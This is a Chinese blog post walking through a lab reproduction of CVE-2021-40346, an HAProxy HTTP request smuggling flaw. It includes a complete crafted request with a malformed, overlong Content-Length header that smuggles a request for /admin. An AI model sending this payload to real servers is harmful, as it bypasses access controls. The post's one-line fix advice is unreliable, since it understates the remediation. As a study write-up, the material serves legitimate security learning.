CVE-2021-40346 HAProxy——http请求走私漏洞

零、写在前面

  本来打算学习积累一下中间件、oracle、shell这方面的知识(别问,问就是工作中需要的多一些),过程中忽然发现了http smuggle这个漏洞,比较新奇,类似于溢出的利用方式深深把我吸引住了……索性先学习一下http是怎么走私的吧~

 

一、漏洞概述

      HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。

      HAProxy特别适用于那些负载特大的web站点,这些站点通常又需要会话保持或七层处理。HAProxy运行在当前的硬件上,完全可以支持数以万计的并发连接。并且它的运行模式使得它可以很简单安全的整合进架构中, 同时可以保护web服务器不被暴露到网络上。

 

二、影响版本
  • 2.0.25
  • 2.2.17
  • 2.3.14 
  • 2.4.4 

 

三、漏洞原理

  简单来说,如果请求包中同时存在Transfor-Encoding和Content-Length,并且代理与服务器分别依据两个不同的参数进行包大小的判断,就有可能会错误的判断body,从而引起http smuggle。详情参见大佬的文章——https://blog.csdn.net/weixin_50464560/article/details/120458520

 

四、漏洞复现环境

OS:Kali Linux 

 

五、实验步骤

1.根据github提示,安装docker,访问页面

 2.抓包、构造恶意请求数据包

POST /guest HTTP/1.1
Host: 192.168.117.131:10001
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 23

GET /admin HTTP/1.1
h:GET /another HTTP/1.1
Host: 192.168.117.131:10001

3.发送恶意数据包,看到成功smuggle

 

六、修复方式

  最好的修复方式——限制包的长度……

posted @ 2022-08-28 23:06  wavesky  阅读(253)  评论(1编辑  收藏  举报